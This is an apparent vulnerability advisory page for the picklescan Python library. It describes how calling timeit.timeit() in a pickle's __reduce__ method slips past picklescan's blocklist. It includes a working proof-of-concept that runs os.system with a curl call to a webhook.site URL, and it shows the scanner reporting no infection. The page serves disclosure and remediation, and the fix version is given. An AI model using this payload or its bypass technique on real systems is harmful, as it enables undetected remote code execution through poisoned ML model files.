Skip to content

GHSA-v7x6-rv5q-mhwc CVE-2025-71351 PYSEC-2026-4135

Picklescan missing detection when calling built-in python library function timeit.timeit()

Medium PyPI
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.55%
Chance of exploitation in the next 30 days. Higher than 46.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
Fix
0.0.25
Upgrade picklescan to this version or later

Description

Summary

Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

  1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
import pickle
import timeit
class Payload(object):
    def __reduce__(self):
        return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)
create_payload()

Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not

picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
  1. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
import pickle
def load_payload():
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Solution

I suggest adding timeit library to the unsafe globals blacklist.

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.25
0.0.25

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.25

pip
pip install --upgrade "picklescan>=0.0.25"
poetry
poetry add "picklescan>=0.0.25"
uv
uv add "picklescan>=0.0.25"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor